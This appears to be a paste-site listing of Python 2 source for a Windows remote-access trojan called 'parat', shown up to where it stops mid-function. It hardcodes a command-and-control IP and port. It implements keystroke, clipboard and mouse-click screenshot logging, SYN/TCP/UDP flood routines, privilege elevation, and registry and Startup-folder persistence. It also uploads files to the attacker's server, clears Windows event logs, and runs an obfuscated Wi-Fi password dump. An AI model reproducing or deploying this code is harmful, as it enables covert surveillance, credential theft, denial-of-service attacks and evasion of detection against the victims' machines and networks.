· 4 years ago · Sep 12, 2021, 06:58 AM
1#!/usr/bin/env python2
2
3from __future__ import print_function
4
5import os
6import sys
7import re
8import platform
9import threading
10import socket
11import urllib
12import urllib2
13import ctypes.wintypes
14import sqlite3
15import win32crypt
16import win32gui
17import win32ui
18import win32con
19import win32api
20import win32file
21
22from ConfigParser import ConfigParser
23from subprocess import PIPE, Popen, check_output, call
24from zipfile import is_zipfile, ZipFile, BadZipfile, LargeZipFile
25from datetime import datetime
26from ctypes import *
27from ctypes.wintypes import *
28from time import sleep
29from tempfile import gettempdir
30from random import _urandom, randrange
31from shutil import copyfile, copy2, rmtree
32from getpass import getuser
33from uuid import getnode
34from json import load
35
36from ctypes import (
37 byref, memset, pointer, sizeof, windll,
38 c_void_p as LPRECT,
39 c_void_p as LPVOID,
40 create_string_buffer,
41 Structure,
42 POINTER,
43 WINFUNCTYPE,
44)
45
46
47
48# define variables
49
50IP = '196.188.243.124'
51PORT = 6969
52
53PLATFORM = 'windows'
54ARCHITECTUE = 'x86'
55
56PORTS = [
57 21, 22, 23, 25, 43, 45, 53, 80, 110, 111, 135, 139, 143, 179, 443,
58 445, 514, 993, 995, 1723, 3306, 3389, 5900, 8000, 8080, 8443, 8888
59 ]
60
61SERVICE_NAME = "parat"
62RST_FLAG = False
63
64if getattr(sys, 'frozen', False):
65 EXECUTABLE_PATH = sys.executable
66elif __file__:
67 EXECUTABLE_PATH = __file__
68else:
69 EXECUTABLE_PATH = ''
70
71EXECUTABLE_NAME = os.path.basename(EXECUTABLE_PATH)
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162class BITMAPINFOHEADER(Structure):
163 _fields_ = [
164 ('biSize', DWORD),
165 ('biWidth', LONG),
166 ('biHeight', LONG),
167 ('biPlanes', WORD),
168 ('biBitCount', WORD),
169 ('biCompression', DWORD),
170 ('biSizeImage', DWORD),
171 ('biXPelsPerMeter', LONG),
172 ('biYPelsPerMeter', LONG),
173 ('biClrUsed', DWORD),
174 ('biClrImportant', DWORD)
175 ]
176
177class BITMAPINFO(Structure):
178 _fields_ = [
179 ('bmiHeader', BITMAPINFOHEADER),
180 ('bmiColors', DWORD * 3)
181 ]
182
183class POINT(Structure):
184 _fields_ = [("x", c_ulong), ("y", c_ulong)]
185
186def queryMousePosition():
187 pt = POINT()
188 windll.user32.GetCursorPos(byref(pt))
189 return { "x": pt.x, "y": pt.y}
190
191user32 = windll.user32
192kernel32 = windll.kernel32
193WH_MOUSE_LL=14
194WM_MOUSEFIRST=0x0200
195
196psapi = windll.psapi
197current_window = None
198
199# Initilisations
200SM_XVIRTUALSCREEN = 76
201SM_YVIRTUALSCREEN = 77
202SM_CXVIRTUALSCREEN = 78
203SM_CYVIRTUALSCREEN = 79
204SRCCOPY = 0xCC0020 # Code de copie pour la fonction BitBlt()##
205DIB_RGB_COLORS = 0
206
207GetSystemMetrics = windll.user32.GetSystemMetrics##
208EnumDisplayMonitors = windll.user32.EnumDisplayMonitors
209GetWindowDC = windll.user32.GetWindowDC
210CreateCompatibleDC = windll.gdi32.CreateCompatibleDC
211CreateCompatibleBitmap = windll.gdi32.CreateCompatibleBitmap
212SelectObject = windll.gdi32.SelectObject
213BitBlt = windll.gdi32.BitBlt
214GetDIBits = windll.gdi32.GetDIBits
215DeleteObject = windll.gdi32.DeleteObject
216
217# Type des arguments
218MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, POINTER(RECT), DOUBLE)
219GetSystemMetrics.argtypes = [INT]
220EnumDisplayMonitors.argtypes = [HDC, LPRECT, MONITORENUMPROC, LPARAM]
221GetWindowDC.argtypes = [HWND]
222CreateCompatibleDC.argtypes = [HDC]
223CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
224SelectObject.argtypes = [HDC, HGDIOBJ]
225BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, DWORD]
226DeleteObject.argtypes = [HGDIOBJ]
227GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, LPVOID, POINTER(BITMAPINFO), UINT]
228
229# Type de fonction
230GetSystemMetrics.restypes = INT
231EnumDisplayMonitors.restypes = BOOL
232GetWindowDC.restypes = HDC
233CreateCompatibleDC.restypes = HDC
234CreateCompatibleBitmap.restypes = HBITMAP
235SelectObject.restypes = HGDIOBJ
236BitBlt.restypes = BOOL
237GetDIBits.restypes = INT
238DeleteObject.restypes = BOOL
239
240class MouseLogger(threading.Thread):
241 def __init__(self, *args, **kwargs):
242 threading.Thread.__init__(self, *args, **kwargs)
243 self.hooked = None
244 self.daemon=True
245 self.lUser32=user32
246 self.pointer=None
247 self.stopped=False
248 self.screenshots=[]
249
250 def run(self):
251 if self.install_hook():
252 #print "mouselogger installed"
253 pass
254 else:
255 raise RuntimeError("couldn't install mouselogger")
256 msg = MSG()
257 user32.GetMessageA(byref(msg),0,0,0)
258 while not self.stopped:
259 time.sleep(1)
260 self.uninstall_hook()
261
262 def stop(self):
263 self.stopped=True
264
265 def retrieve_screenshots(self):
266 screenshot_list=self.screenshots
267 self.screenshots=[]
268 return screenshot_list
269
270 def get_screenshot(self):
271 pos = queryMousePosition()
272
273 limit_width = GetSystemMetrics(SM_CXVIRTUALSCREEN)
274 limit_height = GetSystemMetrics(SM_CYVIRTUALSCREEN)
275 limit_left = GetSystemMetrics(SM_XVIRTUALSCREEN)
276 limit_top = GetSystemMetrics(SM_YVIRTUALSCREEN)
277
278 height = min(100,limit_height)
279 width = min(200,limit_width)
280 left = max(pos['x']-100,limit_left)
281 top = max(pos['y']-50,limit_top)
282
283 srcdc = GetWindowDC(0)
284 memdc = CreateCompatibleDC(srcdc)
285 bmp = CreateCompatibleBitmap(srcdc, width, height)
286 try:
287 SelectObject(memdc, bmp)
288 BitBlt(memdc, 0, 0, width, height, srcdc, left, top, SRCCOPY)
289 bmi = BITMAPINFO()
290 bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
291 bmi.bmiHeader.biWidth = width
292 bmi.bmiHeader.biHeight = height
293 bmi.bmiHeader.biBitCount = 24
294 bmi.bmiHeader.biPlanes = 1
295 buffer_len = height * ((width * 3 + 3) & -4)
296 pixels = create_string_buffer(buffer_len)
297 bits = GetDIBits(memdc, bmp, 0, height, byref(pixels), pointer(bmi), DIB_RGB_COLORS)
298 finally:
299 DeleteObject(srcdc)
300 DeleteObject(memdc)
301 DeleteObject(bmp)
302
303 if bits != height or len(pixels.raw) != buffer_len:
304 raise ValueError('MSSWindows: GetDIBits() failed.')
305
306 return pixels.raw, height, width
307
308 def install_hook(self):
309 CMPFUNC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
310 self.pointer = CMPFUNC(self.hook_proc)
311 self.hooked = self.lUser32.SetWindowsHookExA(WH_MOUSE_LL, self.pointer, kernel32.GetModuleHandleW(None), 0)
312 if not self.hooked:
313 return False
314 return True
315
316 def uninstall_hook(self):
317 if self.hooked is None:
318 return
319 self.lUser32.UnhookWindowsHookEx(self.hooked)
320 self.hooked = None
321
322 def hook_proc(self, nCode, wParam, lParam):
323 ##http://www.pinvoke.net/default.aspx/Constants.WM
324 if wParam == 0x201:
325 buf, height, width = self.get_screenshot()
326 exe, win_title="unknown", "unknown"
327 try:
328 exe, win_title=get_current_process()
329 except Exception:
330 pass
331 self.screenshots.append((str(datetime.now()), height, width, exe, win_title, buf.encode('base64')))
332 return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
333
334#credit: Black Hat Python - https://www.nostarch.com/blackhatpython
335def get_current_process():
336 hwnd = user32.GetForegroundWindow()
337
338 pid = c_ulong(0)
339 user32.GetWindowThreadProcessId(hwnd, byref(pid))
340
341 #process_id = "%d" % pid.value
342
343 executable = create_string_buffer("\x00" * 512)
344 h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
345 psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
346
347 window_title = create_string_buffer("\x00" * 512)
348 length = user32.GetWindowTextA(hwnd, byref(window_title),512)
349
350 kernel32.CloseHandle(hwnd)
351 kernel32.CloseHandle(h_process)
352 #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
353 return executable.value, window_title.value
354
355def get_mouselogger():
356 if not hasattr(sys, 'MOUSELOGGER_THREAD'):
357 sys.MOUSELOGGER_THREAD=MouseLogger()
358 return sys.MOUSELOGGER_THREAD
359def zip_util(zipped_file, password=None):
360
361 if os.path.isfile(zipped_file):
362
363 try:
364
365 if is_zipfile(zipped_file):
366
367 with ZipFile(zipped_file, "r") as compressed:
368
369 try:
370
371 compressed.extractall(pwd=bytes(password)) if password is not None else compressed.extractall()
372 compressed.close()
373
374 return "[32m[+][0m File '{}' extracted.\n".format(zipped_file)
375
376 except RuntimeError:
377 return "\r[91mERROR: [0mBad password for file: '%s'.\n" % zipped_file
378
379 else:
380 return "\r[91mERROR: [0mSeems to not valid zip file: '%s'.\n" % zipped_file
381
382 except BadZipfile:
383 return "\r[91mERROR: [0mFailed to unzip '%s'.\n" % zipped_file
384
385 except LargeZipFile:
386 return "\r[91mERROR: [0mFile is too big '%s'.\n" % zipped_file
387
388 else:
389 return "\r[91mERROR: [0mFile not found: '%s'.\n" % zipped_file
390
391
392
393
394
395
396class ddos_util(threading.Thread):
397
398 def __init__(self, ip, packets):
399
400 self.ip = ip
401 self.port = 80
402 self.size = 1000
403 self.packets = int(packets) + 1
404 self.syn = socket.socket()
405 self.tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
406 self.udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
407 threading.Thread.__init__(self)
408
409
410 def synFlood(self):
411
412 ROBOT.send(pencode("SYN-Flood started..."))
413
414 for i in range(self.packets):
415
416 try:
417 sleep(.03)
418 self.syn.connect((self.ip, self.port))
419 ROBOT.send(pencode("request " + str(i) + " sent.\n"))
420
421 except:
422 ROBOT.send(pencode("#DATA_HANDLER"))
423 break
424
425 ROBOT.send(pencode("#DATA_HANDLER"))
426
427
428
429 def tcpFlood(self):
430
431 ROBOT.send(pencode("TCP-Flood started..."))
432
433 for i in range(self.packets):
434
435 try:
436 bytes = _urandom(self.size)
437
438 self.tcp.connect((self.ip, self.port))
439 self.tcp.setblocking(0)
440 sleep(.03)
441 self.tcp.sendto(bytes, (self.ip, self.port))
442
443 ROBOT.send(pencode("request " + str(i) + " sent.\n"))
444
445 except:
446 ROBOT.send(pencode("#DATA_HANDLER"))
447 break
448
449 ROBOT.send(pencode("#DATA_HANDLER"))
450
451
452
453 def udpFlood(self):
454
455 ROBOT.send(pencode("UDP-Flood started..."))
456
457 for i in range(self.packets):
458
459 try:
460
461 bytes = _urandom(self.size)
462
463 if self.port == 0:
464 self.port = randrange(1, 65535)
465
466 sleep(.03)
467 self.udp.sendto(bytes, (self.ip, self.port))
468
469 ROBOT.send(pencode("request " + str(i) + " sent.\n"))
470
471 except:
472 ROBOT.send(pencode("#DATA_HANDLER"))
473 break
474
475 ROBOT.send(pencode("#DATA_HANDLER"))
476
477
478
479
480
481
482def msgbox_thread(message, title, button, icon):
483
484 windll.user32.MessageBoxA(0, message, title, button | icon)
485 return
486def hide_all_windows(h=1):
487
488 if h == 1:
489
490 try:
491
492 import win32console, win32gui
493 window = win32console.GetConsoleWindow()
494 win32gui.ShowWindow(window, 0)
495
496 return True
497
498 except:
499 return False
500
501 else:
502
503 print("WARNING: windows are showen.")
504
505
506
507def run_as_admin(argv=None, debug=False):
508
509 shell32 = windll.shell32
510
511 if argv is None and shell32.IsUserAnAdmin():
512 return True
513
514 if argv is None:
515 argv = sys.argv
516
517 if hasattr(sys, '_MEIPASS'):
518 arguments = map(unicode, argv[1:])
519 else:
520 arguments = map(unicode, argv)
521
522 argument_line = u' '.join(arguments)
523 executable = unicode(sys.executable)
524 result_code = shell32.ShellExecuteW(None, u"runas", executable, argument_line, None, 1)
525
526 if int(result_code) <= 32:
527 return False
528
529 return None
530# Base windows types
531#LRESULT = c_int64 if platform.architecture()[0] == "64bit" else c_long
532#WPARAM = c_uint
533#LPARAM = c_long
534ULONG_PTR = WPARAM
535LRESULT = LPARAM
536LPMSG = POINTER(MSG)
537
538HANDLE = c_void_p
539HHOOK = HANDLE
540HKL = HANDLE
541ULONG_PTR = WPARAM
542
543HOOKPROC = WINFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM)
544user32 = windll.user32
545kernel32 = windll.kernel32
546psapi = windll.psapi
547
548# Base constans
549# https://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
550WM_KEYDOWN = 0x0100
551WM_SYSKEYDOWN = 0x0104
552WH_KEYBOARD_LL = 13
553VK_TAB = 0x09 # TAB key
554VK_CAPITAL = 0x14 # CAPITAL key
555VK_SHIFT = 0x10 # SHIFT key
556VK_CONTROL = 0x11 # CTRL key
557VK_MENU = 0x12 # ALT key
558VK_LMENU = 0xA4 # ALT key
559VK_RMENU = 0xA5 # ALT+GR key
560VK_RETURN = 0x0D # ENTER key
561VK_ESCAPE = 0x1B
562
563#some windows function defines :
564
565GetModuleHandleW = kernel32.GetModuleHandleW
566GetModuleHandleW.restype = HMODULE
567GetModuleHandleW.argtypes = [LPCWSTR]
568
569SetWindowsHookEx = user32.SetWindowsHookExW
570SetWindowsHookEx.argtypes = (c_int, HOOKPROC, HINSTANCE, DWORD)
571SetWindowsHookEx.restype = HHOOK
572
573UnhookWindowsHookEx = user32.UnhookWindowsHookEx
574CallNextHookEx = user32.CallNextHookEx
575GetMessageW = user32.GetMessageW
576GetKeyboardState = user32.GetKeyboardState
577GetKeyboardLayout = user32.GetKeyboardLayout
578ToUnicodeEx = user32.ToUnicodeEx
579
580
581CallNextHookEx.restype = LRESULT
582CallNextHookEx.argtypes = (HHOOK, # _In_opt_ hhk
583 c_int, # _In_ nCode
584 WPARAM, # _In_ wParam
585 LPARAM) # _In_ lParam
586
587GetMessageW.argtypes = (LPMSG, # _Out_ lpMsg
588 HWND, # _In_opt_ hWnd
589 UINT, # _In_ wMsgFilterMin
590 UINT) # _In_ wMsgFilterMax
591
592# Macros
593LOWORD = lambda x: x & 0xffff
594
595# Base structures
596class KBDLLHOOKSTRUCT(Structure):
597 _fields_ = [
598 ('vkCode', DWORD),
599 ('scanCode', DWORD),
600 ('flags', DWORD),
601 ('time', DWORD),
602 ('dwExtraInfo', ULONG_PTR)
603 ]
604
605# Function prototypes
606LOWLEVELKEYBOARDPROC = CFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM)
607
608def keylogger_start():
609 if hasattr(sys, 'KEYLOGGER_THREAD'):
610 return False
611 keyLogger = KeyLogger()
612 keyLogger.start()
613 sys.KEYLOGGER_THREAD=keyLogger
614 return True
615
616def keylogger_dump():
617 if hasattr(sys, 'KEYLOGGER_THREAD'):
618 return sys.KEYLOGGER_THREAD.dump()
619
620def keylogger_stop():
621 if hasattr(sys, 'KEYLOGGER_THREAD'):
622 sys.KEYLOGGER_THREAD.stop()
623 del sys.KEYLOGGER_THREAD
624 return True
625 return False
626
627
628class KeyLogger(threading.Thread):
629
630 def __init__(self, *args, **kwargs):
631
632 threading.Thread.__init__(self, *args, **kwargs)
633 self.hllDll = WinDLL("User32.dll")
634
635 self.hooked=None
636 self.daemon=True
637 if not hasattr(sys, 'KEYLOGGER_BUFFER'):
638 sys.KEYLOGGER_BUFFER=""
639
640 self.pointer=None
641 self.stopped=False
642 self.last_windows=None
643 self.last_clipboard=""
644
645
646 def append_key_buff(self, k):
647 sys.KEYLOGGER_BUFFER+=k
648
649
650 def run(self):
651 self.install_hook()
652 msg = MSG()
653 GetMessageW(byref(msg),0,0,0)
654 while not self.stopped:
655 sleep(0.1)
656 self.uninstall_hook()
657
658
659 def stop(self):
660 self.stopped=True
661
662
663 def dump(self):
664 res=sys.KEYLOGGER_BUFFER
665 sys.KEYLOGGER_BUFFER=""
666 return res
667
668
669 def install_hook(self):
670 self.pointer = HOOKPROC(self.hook_proc)
671 modhwd=GetModuleHandleW(None)
672 self.hooked = SetWindowsHookEx(WH_KEYBOARD_LL, self.pointer, modhwd, 0)
673 if not self.hooked:
674 raise WinError()
675 return True
676
677
678 def uninstall_hook(self):
679 if self.hooked is None:
680 return
681 UnhookWindowsHookEx(self.hooked)
682 self.hooked = None
683
684
685 def hook_proc(self, nCode, wParam, lParam):
686 # The keylogger callback
687 if LOWORD(wParam) != WM_KEYDOWN and LOWORD(wParam) != WM_SYSKEYDOWN:
688 return CallNextHookEx(self.hooked, nCode, wParam, lParam)
689
690 keyState = (BYTE * 256)()
691 buff = (WCHAR * 256)()
692 kbdllhookstruct = KBDLLHOOKSTRUCT.from_address(lParam)
693 hooked_key = ""
694 specialKey = ""
695 # index of the keystate : http://wiki.cheatengine.org/index.php?title=Virtual-Key_Code
696 # ESCAPE
697 if self.hllDll.GetKeyState(VK_ESCAPE) & 0x8000:
698 specialKey = '[ESCAPE]'
699
700 # SHIFT
701 if self.hllDll.GetKeyState(VK_SHIFT) & 0x8000:
702 keyState[16] = 0x80;
703
704 # CTRL
705 if self.hllDll.GetKeyState(VK_CONTROL) & 0x8000:
706 keyState[17] = 0x80;
707
708 # ALT
709 if self.hllDll.GetKeyState(VK_MENU) & 0x8000:
710 keyState[18] = 0x80;
711
712 if kbdllhookstruct.vkCode == VK_TAB:
713 specialKey = '[TAB]'
714 elif kbdllhookstruct.vkCode == VK_RETURN:
715 specialKey = '[RETURN]'
716
717 hKl = GetKeyboardLayout(0)
718 GetKeyboardState(byref(keyState))
719
720 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms646322(v=vs.85).aspx
721 r=ToUnicodeEx(kbdllhookstruct.vkCode, kbdllhookstruct.scanCode, byref(keyState), byref(buff), 256, 0, hKl)
722 if r==0: #nothing written to the buffer
723 try:
724 hooked_key = chr(kbdllhookstruct.vkCode)
725 except:
726 hooked_key = "0x%s" % kbdllhookstruct.vkCode
727 else:
728 hooked_key = buff.value.encode('utf8')
729
730 if specialKey:
731 hooked_key = specialKey
732
733
734 exe, win_title = "unknown", "unknown"
735 try:
736 exe, win_title = get_current_process()
737 except Exception:
738 pass
739 if self.last_windows!=(exe, win_title):
740 self.append_key_buff(
741 "\n%s: %s %s\n" % (
742 datetime.now(),
743 str(exe).encode('string_escape'),
744 str(win_title).encode('string_escape')
745 ))
746 self.last_windows=(exe, win_title)
747 paste=""
748 try:
749 paste=winGetClipboard()
750 except Exception:
751 pass
752 if paste and paste!=self.last_clipboard:
753 self.append_key_buff(
754 "\n<clipboard>%s</clipboard>\n" % (repr(paste)[2:-1])
755 ); self.last_clipboard=paste
756 self.append_key_buff(hooked_key)
757 return CallNextHookEx(self.hooked, nCode, wParam, lParam)
758
759#credit: Black Hat Python - https://www.nostarch.com/blackhatpython
760def get_current_process():
761 hwnd = user32.GetForegroundWindow()
762
763 pid = c_ulong(0)
764 user32.GetWindowThreadProcessId(hwnd, byref(pid))
765
766 #process_id = "%d" % pid.value
767
768 executable = create_string_buffer("\x00" * 512)
769 h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
770 psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
771
772 window_title = create_string_buffer("\x00" * 512)
773 length = user32.GetWindowTextA(hwnd, byref(window_title),512)
774
775 kernel32.CloseHandle(hwnd)
776 kernel32.CloseHandle(h_process)
777 return executable.value, window_title.value
778
779##http://nullege.com/codes/show/src%40t%40h%40thbattle-HEAD%40src%40utils%40pyperclip.py/48/ctypes.windll.user32.OpenClipboard/python
780def winGetClipboard(): #link above is multiplatform, this can easily expand if keylogger becomes multiplatform
781 windll.user32.OpenClipboard(0)
782 pcontents = windll.user32.GetClipboardData(13) # CF_UNICODETEXT
783 data = c_wchar_p(pcontents).value
784 windll.user32.CloseClipboard()
785 return data
786class ParatBackdoor:
787
788 def __init__(self):
789 pass
790
791
792 def is_installed(self, method):
793
794 if method == 'reg':
795
796 query = "reg query HKCU\Software\Microsoft\Windows\Currentversion\Run /f %s" % SERVICE_NAME
797
798 output = os.popen(query)
799
800 if SERVICE_NAME in output.read():
801 return True
802 else:
803 return False
804
805 if method == 'sup':
806
807 validation = os.environ["APPDATA"] + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + EXECUTABLE_NAME
808
809 if os.path.isfile(validation):
810 return True
811 else:
812 return False
813
814
815
816 def do_action(self, action):
817
818 if action == "registry":
819
820 if not self.is_installed('reg'):
821
822 add_command = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run" + \
823 " /f /v %s /t REG_SZ /d %s" % (SERVICE_NAME, os.environ["TEMP"] + '\\' + EXECUTABLE_NAME)
824 stdin, stdout, stderr = os.popen3(add_command)
825 copyfile(EXECUTABLE_PATH, os.environ["TEMP"] + "/" + EXECUTABLE_NAME)
826
827 return "[92m[+][0m Persistence installed.\n"
828
829
830 if action == "startup":
831
832 if not self.is_installed('sup'):
833 copy2(EXECUTABLE_NAME, os.environ["APPDATA"] + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\")
834
835 return "[92m[+][0m Persistence installed.\n"
836
837
838 elif action == "remove":
839
840 reg_rem, sup_rem = False, False
841
842 if self.is_installed('reg'):
843
844 Popen("reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v %s" % SERVICE_NAME, shell=False)
845 Popen("reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v %s /t REG_SZ /d %s" % \
846 (SERVICE_NAME, '"cmd.exe /c del %USERPROFILE%\\"' + EXECUTABLE_NAME), shell=False)
847 reg_rem = True
848
849 if self.is_installed('sup'):
850 os.remove(os.environ["APPDATA"] + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + EXECUTABLE_NAME)
851 sup_rem = True
852
853
854 if reg_rem and sup_rem:
855 return "[92m[+][0m Registry and Startup persistences removed.\n"
856
857 elif reg_rem:
858 return "[92m[+][0m Registry persistence removed.\n"
859
860 elif sup_rem:
861 return "[92m[+][0m Startup persistence removed.\n"
862
863
864
865 elif action == "status":
866
867 registry, startup = False, False
868
869 if self.is_installed('reg'):
870 registry = True
871
872 if self.is_installed('sup'):
873 startup = True
874
875
876 if registry and startup:
877 return "[92m[+][0m registry and startup backdoor are [92menable[0m.\n"
878
879 elif registry:
880 return "[92m[+][0m registry backdoor is [92menable[0m.\n"
881
882 elif startup:
883 return "[92m[+][0m startup backdoor is [92menable[0m.\n"
884
885 else:
886 return "[92m[+][0m Persistence is [31mdisable[0m.\n"
887def upload_to_server(filename):
888
889 with open(filename, 'rb') as local_file:
890
891 chunk = local_file.read(4096)
892
893 while chunk:
894
895 ROBOT.send(chunk)
896 sleep(0.1)
897 chunk = local_file.read(4096)
898
899 ROBOT.send("#DATA_HANDLER")
900
901 local_file.close()
902
903
904
905
906def download_from_server(filename):
907
908 with open(filename, "wb") as remote_file:
909
910 chunk = ROBOT.recv(4096)
911
912 while chunk:
913
914 remote_file.write(chunk)
915 sleep(0.1)
916 chunk = ROBOT.recv(4096)
917
918 if "#UPLOAD_END" in chunk: break
919
920 remote_file.close()
921
922
923
924
925
926
927def wget_from_url(url):
928
929 try:
930
931 filename = url.split('/')[-1]
932 content = urllib2.urlopen(url)
933
934 with open(filename, 'wb') as output:
935 output.write(content.read())
936 output.close()
937
938 ROBOT.send(pencode("[32m[+][0mDownloaded: %s.\n" % filename))
939
940 except Exception as e:
941 ROBOT.send(pencode("[91mERROR:[0m {}.\n".format(str(e))))
942
943
944
945
946def scan_local_network(ip):
947
948 try:
949 socket.inet_aton(ip)
950 except socket.error:
951 return '[31m[-][0m Invalid IP address.'
952
953 results = ''
954
955 for port in PORTS:
956
957 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
958 connection = sock.connect_ex((ip, port))
959 socket.setdefaulttimeout(0.5)
960 state = 'open' if not connection else 'closed'
961 results += '{:>5}/tcp {:>7}\n'.format(port, state)
962
963 return results.rstrip() + "#DATA_HANDLER"
964
965
966
967
968def _ping():
969
970 global RST_FLAG
971
972 ping_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
973 ping_sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
974 ping_sock.connect((IP, 7777))
975
976 while True:
977
978 try:
979 ping_sock.send("ping from client")
980 sleep(0.5)
981 except Exception as e:
982 break
983
984 if not RST_FLAG:
985 connect_to_server()
986 main()
987
988
989
990def connect_to_server():
991 """try to connect server and send initial information
992 """
993
994 global ROBOT
995 ROBOT = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
996 ROBOT.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
997
998 while True:
999
1000 try:
1001
1002 ROBOT.connect((IP, PORT))
1003 threading.Thread(target=_ping).start()
1004
1005 host = platform.node()
1006 user = os.getenv("username")
1007 client = "@".join([user, host])
1008
1009 ROBOT.sendall(pencode(client))
1010
1011 except Exception as e:
1012
1013 if e.errno == 10061:
1014 continue # Connectin refused
1015 elif e.errno == 10056:
1016 break # Socket is already connected
1017def pencode(str):
1018
1019 try:
1020
1021 str = unicode(str, errors='ignore')
1022 cipher = ""
1023
1024 for i in range(len(str)):
1025 cipher += chr(ord(str[i])^(ord("P")))
1026
1027 return cipher.encode('rot13').encode('hex')
1028
1029
1030 except Exception as e:
1031
1032 return str(e)
1033
1034
1035
1036def pdecode(hex):
1037
1038 try:
1039
1040 hex = hex[:-1]
1041 hex = unicode(hex, errors='ignore')
1042 plain = ""
1043 cipher = hex.decode('hex').decode('rot13')
1044
1045 for i in range(len(cipher)):
1046 plain += chr(ord(cipher[i])^(ord("P")))
1047
1048 return plain
1049
1050
1051 except Exception as e:
1052
1053 return str(e)
1054def clean_logs():
1055
1056 try:
1057
1058 powershell_result = Popen(
1059 'powershell -Command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"',
1060 stdout=PIPE,
1061 stderr=PIPE
1062 )
1063 out, err = powershell_result.communicate()
1064
1065 ROBOT.send(pencode("[32m[+][0mLogs cleaned successfully.\n"))
1066
1067
1068 except:
1069
1070 ROBOT.send(pencode("[91mERROR: [0mUnknown error: 'rmlog'.\n"))
1071def screenshot():
1072
1073 bmp_path = os.environ["TEMP"] + "\screenshot.bmp"
1074
1075 # grab a handle to the main desktop window
1076 hdesktop = win32gui.GetDesktopWindow()
1077
1078 # determine the size of all monitors in pixels
1079 width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
1080
1081 height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
1082 left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
1083 top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
1084
1085 # create a device context
1086 desktop_dc = win32gui.GetWindowDC(hdesktop)
1087
1088 img_dc = win32ui.CreateDCFromHandle(desktop_dc)
1089
1090 # create a memory based device context
1091 mem_dc = img_dc.CreateCompatibleDC()
1092
1093 # create a bitmap object
1094 screenshot = win32ui.CreateBitmap()
1095 screenshot.CreateCompatibleBitmap(img_dc, width, height)
1096 mem_dc.SelectObject(screenshot)
1097
1098 # copy the screen into our memory device context
1099 mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
1100
1101 # save the bitmap to a file
1102 screenshot.SaveBitmapFile(mem_dc, bmp_path)
1103
1104 # free our objects
1105 mem_dc.DeleteDC()
1106 win32gui.DeleteObject(screenshot.GetHandle())
1107
1108 upload_to_server(bmp_path)
1109
1110 os.remove(bmp_path)
1111def wifi_dump():
1112
1113 batch_command = "c2V0bG9jYWwgZW5hYmxlZGVsYXllZGV4cGFuc2lvbg0KDQoNCiAgICA6OiBHZXQgYWxsIHRoZSBw" + \
1114 "cm9maWxlcw0KICAgIGNhbGwgOmdldC1wcm9maWxlcyByDQoNCiAgICA6OiBGb3IgZWFjaCBwcm9m" + \
1115 "aWxlLCB0cnkgdG8gZ2V0IHRoZSBwYXNzd29yZA0KICAgIDptYWluLW5leHQtcHJvZmlsZQ0KICAg" + \
1116 "ICAgICBmb3IgL2YgInRva2Vucz0xKiBkZWxpbXM9LCIgJSVhIGluICgiJXIlIikgZG8gKA0KICAg" + \
1117 "ICAgICAgICAgY2FsbCA6Z2V0LXByb2ZpbGUta2V5ICIlJWEiIGtleQ0KICAgICAgICAgICAgaWYg" + \
1118 "IiFrZXkhIiBORVEgIiIgKA0KICAgICAgICAgICAgICAgIGVjaG8gICAlJWEgOiAha2V5ISA+PiAl" + \
1119 "VEVNUCVcd2lmaV9saXN0LnR4dA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgc2V0IHI9JSVi" + \
1120 "DQogICAgICAgICkNCiAgICAgICAgaWYgIiVyJSIgTkVRICIiIGdvdG8gbWFpbi1uZXh0LXByb2Zp" + \
1121 "bGUNCg0KICAgIGVjaG8uDQoNCg0KICAgIGdvdG8gOmVvZg0KDQo6Og0KOjogR2V0IHRoZSBXaUZp" + \
1122 "IGtleSBvZiBhIGdpdmVuIHByb2ZpbGUNCjpnZXQtcHJvZmlsZS1rZXkgPDE9cHJvZmlsZS1uYW1l" + \
1123 "PiA8Mj1vdXQtcHJvZmlsZS1rZXk+DQogICAgc2V0bG9jYWwNCg0KICAgIHNldCByZXN1bHQ9DQoN" + \
1124 "CiAgICBGT1IgL0YgInVzZWJhY2txIHRva2Vucz0yIGRlbGltcz06IiAlJWEgaW4gKA0KICAgICAg" + \
